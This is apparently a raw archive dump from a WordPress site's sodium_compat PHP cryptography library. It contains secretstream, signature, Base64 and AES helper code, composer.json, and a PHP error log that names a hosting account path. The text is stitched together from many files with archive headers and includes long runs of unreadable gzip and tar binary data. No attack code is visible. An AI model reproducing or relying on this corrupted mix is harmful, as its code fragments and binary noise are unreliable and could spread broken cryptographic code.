in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk); } } PK-L[ #<< src/error_lognu[[17-May-2025 13:15:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [17-May-2025 14:48:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [19-May-2025 18:39:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [04-Jun-2025 06:29:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [08-Jun-2025 20:00:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [27-Jun-2025 12:13:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [11-Jul-2025 06:52:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [17-Aug-2025 21:48:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [18-Aug-2025 03:42:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [18-Aug-2025 03:54:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [20-Aug-2025 21:20:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [29-Aug-2025 21:00:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 [30-Aug-2025 04:38:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/File.php on line 9 PK-L[4mzzautoload-php7.phpnu[= 50300) { // Namespaces didn't exist before 5.3.0, so don't even try to use this // unless PHP >= 5.3.0 require_once dirname(__FILE__) . '/lib/namespaced.php'; require_once dirname(__FILE__) . '/lib/sodium_compat.php'; if (!defined('SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES')) { require_once dirname(__FILE__) . '/lib/php84compat_const.php'; } } else { require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php'; } if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) { if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) { require_once dirname(__FILE__) . '/lib/php72compat_const.php'; } if (PHP_VERSION_ID >= 70000) { assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?'); } else { assert(class_exists('ParagonIE_Sodium_Compat')); } require_once(dirname(__FILE__) . '/lib/php72compat.php'); } elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) { // Older versions of {PHP, ext/sodium} will not define these require_once(dirname(__FILE__) . '/lib/php72compat.php'); } if (PHP_VERSION_ID < 80400 || !extension_loaded('sodium')) { require_once dirname(__FILE__) . '/lib/php84compat.php'; } require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php'); require_once(dirname(__FILE__) . '/lib/ristretto255.php'); PK.L[ HH composer.jsonnu[{ "name": "paragonie/sodium_compat", "description": "Pure PHP implementation of libsodium; uses the PHP extension if it exists", "keywords": [ "PHP", "cryptography", "elliptic curve", "elliptic curve cryptography", "Pure-PHP cryptography", "side-channel resistant", "Curve25519", "X25519", "ECDH", "Elliptic Curve Diffie-Hellman", "Ed25519", "RFC 7748", "RFC 8032", "EdDSA", "Edwards-curve Digital Signature Algorithm", "ChaCha20", "Salsa20", "Xchacha20", "Xsalsa20", "Poly1305", "BLAKE2b", "public-key cryptography", "secret-key cryptography", "AEAD", "Chapoly", "Salpoly", "ChaCha20-Poly1305", "XSalsa20-Poly1305", "XChaCha20-Poly1305", "encryption", "authentication", "libsodium" ], "license": "ISC", "authors": [ { "name": "Paragon Initiative Enterprises", "email": "security@paragonie.com" }, { "name": "Frank Denis", "email": "jedisct1@pureftpd.org" } ], "autoload": { "files": ["autoload.php"] }, "require": { "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8", "paragonie/random_compat": ">=1" }, "require-dev": { "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9" }, "scripts": { "test": "phpunit" }, "suggest": { "ext-libsodium": "PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.", "ext-sodium": "PHP >= 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security." } } PKj#[ %̞$ova/php72compat_const.php.php.tar.gznu[X[o0sxP7M&SD[ڲs.!ıևZA8?0{ǫbR5sfT__&ӛxY_n'2='T蓳04$ɒig.麢,Fj &**Ky{8!rM59-@EW#<d #Ϗn#Ϧ$Hp߸Xx~ h7BKٶܨaI"6I[,lF Rw*E:$frkC<1Ci&sM٢YLK{tYLv $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } PK("[$T-- Original.phpnu[ $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } PK("[LW33 UrlSafe.phpnu[PK("[$T-- nOriginal.phpnu[PK<PKm#[V$ova/php84compat_const.php.php.tar.gznu[ 0=}bZD\zTZM袯Xzp3Y AN܉ ءaT ^\NBpcς#ugHePAJ p֓%9bU*/au8# 3@Fv#?1acdw1lu}96GZ v ܳ0'+i7 NgQeK)G*÷?DFFp"pPKm#[Zova/XChaCha20.php.php.tar.gznu[WQk0ŭb/vR'vecмA (9fKF>NܤuvtHa^s!IƥPv̛gocF|ғ|X[2<)7aDw(;1t~{ǃn:}#_zxA7Ͳl)Ǹv d||Yz\BH,rNm 04|Y1 lb,)0hǘ)$ #'S`\A.TKJ Ѷ,KbJTيbt )h^8JYJlG3;l?qYYʣ[U >P|A1(2]fx.+W<|+׌x aΨ5)`n)xu  tHL“͠2́7gg W4`8[\K`:&Kf-bgSdGF2SL$XjcPFkN2ݯBwี@o-qw;z T{fH}}n11R4F  /g5@E=+zSv)jٶ.+.F^oj\Sԣnz%q߹ol4M)H᩷qc=? 4/~<PKm#[ova/php72compat_const.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/php72compat_const.php000064400000010765150552563110024644 0ustar00=>GÆ{4`;v&qus+?ŹQW3o1 6|,ղy6-MadI )d=q:9-/ߴ4foZ# $๟r։I9G#?zQ'e4 hjF,_>j/k%SN. NYW8Bwi"Ӥ~N`Ju W\5[sgw8 ԏB4W 7UlЧӠSqɉqvdy99W@[<AM6TIE%8Yk*C?UFpRS-nI?G2(%I%hȬqM4Cg3!*pBH Aaks>t9N6a͛80fC:ԋF$tI]/缯Q Bp79K3_a7Bd,Q9:p3!? Ph1U&5+I,_eY./-u[JrfF[}M/^*rx N1DzUjYP!R~%ݤ1Y'[;oO-(+4e &GZUITe煽ZB,&IJO !a*Qp-M7!AI6q:wS`+͚Ct'8>(]D#^& ̵kwmU!KA*$!u2VOjx~~^z771/\ uG-+C A,>▵H1l&G&exY>v\`'rɒ{8 fHasJ&4с w'Q_Ds: Vvo-ȿtTI(9S4uS<orǥ{9IzZ;uf?*?^{H_sZϏЉ=eN'"ң a~婋R 8@w)ʐ>:BJ.|W?{6k${ t|L!{T)xA+K^N"r""-7}Y{!qIըF!-v3֩B6-Mזٶ"&U] R..Q^0}ݍza!r2Tkf $r~5. ȬQh[/u2%邏dV"Ǽ'!cަA[[07K5?M; tSBC[_X$^lDيd!~OD)ޔz{cQ<#JͶ ƕ9h$C@+:wrj]ӵKR-ۮmܻa.;9_wòT̥JjK؏؏??y0@PKq#[xova/HChaCha20.php.php.tar.gznu[W]sF3bgq RLi_&OEAYXVj)ڤ}œs{Y`Q1Um|/R'y~/K$fbVwS,c 䵖Ӛsp֜F30mhNiVjVjV\پj3{C5߾tU utlzO~ f[nmi7 Ti.W4PB PbR-44аFб[@'jF5bAnW "n bn n RVky#3U r(O>oy.X:"䋔;RbKMknOUEϬ=VPKa`Qu輸!Rzp]HJzB3ȑ^WR E:uPLZl*a74%Lۄ:!½J{j {Bw%jJ $skey -- has size 120 */ protected $skey; /** @var bool $expanded */ protected $expanded = false; /** @var int $numRounds */ private $numRounds; /** * @param array $skey * @param int $numRounds */ public function __construct(array $skey, $numRounds = 10) { $this->skey = $skey; $this->numRounds = $numRounds; } /** * Get a value at an arbitrary index. Mostly used for unit testing. * * @param int $i * @return int */ public function get($i) { return $this->skey[$i]; } /** * @return int */ public function getNumRounds() { return $this->numRounds; } /** * @param int $offset * @return ParagonIE_Sodium_Core_AES_Block */ public function getRoundKey($offset) { return ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($this->skey, $offset, 8) ); } /** * Return an expanded key schedule * * @return ParagonIE_Sodium_Core_AES_Expanded */ public function expand() { $exp = new ParagonIE_Sodium_Core_AES_Expanded( array_fill(0, 120, 0), $this->numRounds ); $n = ($exp->numRounds + 1) << 2; for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) { $x = $y = $this->skey[$u]; $x &= 0x55555555; $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; $y &= 0xAAAAAAAA; $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $exp; } } PKj![00 Expanded.phpnu[ */ protected $values = array(); /** * @var int */ protected $size; /** * @param int $size */ public function __construct($size = 8) { parent::__construct($size); $this->size = $size; $this->values = array_fill(0, $size, 0); } /** * @return self */ public static function init() { return new self(8); } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * * @psalm-suppress MethodSignatureMismatch */ #[ReturnTypeWillChange] public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_AES_Block(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->values[] = $value; } else { $this->values[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->values[$offset])) { $this->values[$offset] = 0; } return (int) ($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { $out = array(); foreach ($this->values as $v) { $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT); } return array(implode(', ', $out)); /* return array(implode(', ', $this->values)); */ } /** * @param int $cl low bit mask * @param int $ch high bit mask * @param int $s shift * @param int $x index 1 * @param int $y index 2 * @return self */ public function swapN($cl, $ch, $s, $x, $y) { static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX; $a = $this->values[$x] & $u32mask; $b = $this->values[$y] & $u32mask; // (x) = (a & cl) | ((b & cl) << (s)); $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask); // (y) = ((a & ch) >> (s)) | (b & ch); $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch); return $this; } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap2($x, $y) { return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap4($x, $y) { return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap8($x, $y) { return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y); } /** * @return self */ public function orthogonalize() { return $this ->swap2(0, 1) ->swap2(2, 3) ->swap2(4, 5) ->swap2(6, 7) ->swap4(0, 2) ->swap4(1, 3) ->swap4(4, 6) 